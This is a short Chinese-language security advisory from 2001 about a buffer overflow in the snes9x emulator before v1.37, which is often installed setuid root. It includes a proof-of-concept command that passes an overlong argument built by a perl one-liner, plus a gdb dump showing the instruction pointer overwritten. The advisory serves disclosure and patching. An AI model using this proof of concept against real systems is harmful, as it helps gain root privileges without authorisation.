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Snes9x 存在缓冲溢出漏洞


发布时间:2001-10-17
更新时间:2001-10-17
严重程度:
威胁程度:权限提升
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
snes9x v1.37 之前等版本
详细描述
snes9x模拟器中存在缓冲溢出,当对提供超长的ROM名字作为参数提交,可以导致
程序崩溃,在多数系统中以SETUID ROOT属性安装。

测试代码
bash-2.05$ ./snes9x `perl -e 'print "A" x 85;print "B" x 4004;'`
Rate: 22050, Buffer size: 2048, 16-bit: yes, Stereo: yes, Encoded: no
Segmentation fault (core dumped)
bash-2.05$ gdb -core=snes9x.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `snes9x'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424141 in ?? ()
(gdb) info all
eax 0x0 0
ecx 0x282e3401 674116609
edx 0x1 1
ebx 0xbfbfab7c -1077957764
esp 0xbfbfab4c 0xbfbfab4c
ebp 0xbfbfab7a 0xbfbfab7a
esi 0xbfbfcb7c -1077949572
edi 0xbfbfbb7c -1077953668
eip 0x42424141 0x42424141 ( == BBAA)
eflags 0x10282 66178
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb)

解决方案
下载最新的程序:

http://www.snes9x.com

相关信息
Niels Heinen (zilli0n@gmx.net)